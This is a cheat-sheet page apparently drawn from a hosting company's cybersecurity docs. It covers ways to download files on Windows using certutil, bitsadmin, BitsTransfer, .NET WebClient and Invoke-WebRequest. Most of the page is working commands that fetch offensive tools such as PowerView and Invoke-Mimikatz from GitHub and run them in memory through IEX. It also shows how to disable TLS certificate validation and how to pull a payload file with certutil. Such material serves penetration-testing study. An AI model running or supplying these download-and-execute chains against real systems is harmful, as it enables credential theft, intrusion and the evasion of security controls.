> For the complete documentation index, see [llms.txt](https://docs.wehost.co.in/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.wehost.co.in/cybersecurity/powershell-web-downloads.md).

# PowerShell Web Downloads

```

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
```

```
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
```

### BitsTransfer

```
Import-Module BitsTransfer
```

```
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
```

### Other

| **Method**                                                                                                               | **Description**                                                                                                            |
| ------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------- |
| [OpenRead](https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient.openread?view=net-6.0)                       | Returns the data from a resource as a [Stream](https://docs.microsoft.com/en-us/dotnet/api/system.io.stream?view=net-6.0). |
| [OpenReadAsync](https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient.openreadasync?view=net-6.0)             | Returns the data from a resource without blocking the calling thread.                                                      |
| [DownloadData](https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient.downloaddata?view=net-6.0)               | Downloads data from a resource and returns a Byte array.                                                                   |
| [DownloadDataAsync](https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient.downloaddataasync?view=net-6.0)     | Downloads data from a resource and returns a Byte array without blocking the calling thread.                               |
| [DownloadFile](https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadfile?view=net-6.0)               | Downloads data from a resource to a local file.                                                                            |
| [DownloadFileAsync](https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadfileasync?view=net-6.0)     | Downloads data from a resource to a local file without blocking the calling thread.                                        |
| [DownloadString](https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadstring?view=net-6.0)           | Downloads a String from a resource and returns a String.                                                                   |
| [DownloadStringAsync](https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadstringasync?view=net-6.0) | Downloads a String from a resource without blocking the calling thread.                                                    |

#### PowerShell DownloadFile Method

**DownloadFile**

```powershell-session
(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')
```

**DownloadFileAsync**

```powershell-session
(New-Object Net.WebClient).DownloadFileAsync('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'C:\Users\Public\Downloads\PowerViewAsync.ps1')
```

**DownloadString**

```powershell-session
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')
```

* `IEX` also accepts pipeline input.

```powershell-session
(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEX
```

**Potential Error**

```powershell-session
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
```

```powershell-session
Exception calling "DownloadString" with "1" argument(s): "The underlying connection was closed: Could not establish trust
relationship for the SSL/TLS secure channel."
At line:1 char:1
+ IEX(New-Object Net.WebClient).DownloadString('https://raw.githubuserc ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : WebException
```

**Solution**

```powershell-session
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
```

**PowerShell Invoke-WebRequest**

* From PowerShell 3.0 onwards, the [Invoke-WebRequest](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.2) cmdlet is also available, but it is noticeably slower at downloading files. You can use the aliases `iwr`, `curl`, and `wget` instead of the `Invoke-WebRequest` full name.
* its like curl and wget for windows

```powershell-session
Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1
```

**Potential Error**

```powershell-session
Invoke-WebRequest https://<ip>/PowerView.ps1 | IEX
```

```
Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.
At line:1 char:1
+ Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/P ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotImplemented: (:) [Invoke-WebRequest], NotSupportedException
+ FullyQualifiedErrorId : WebCmdletIEDomNotSupportedException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand
```

**Solution**

```
Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | IEX
```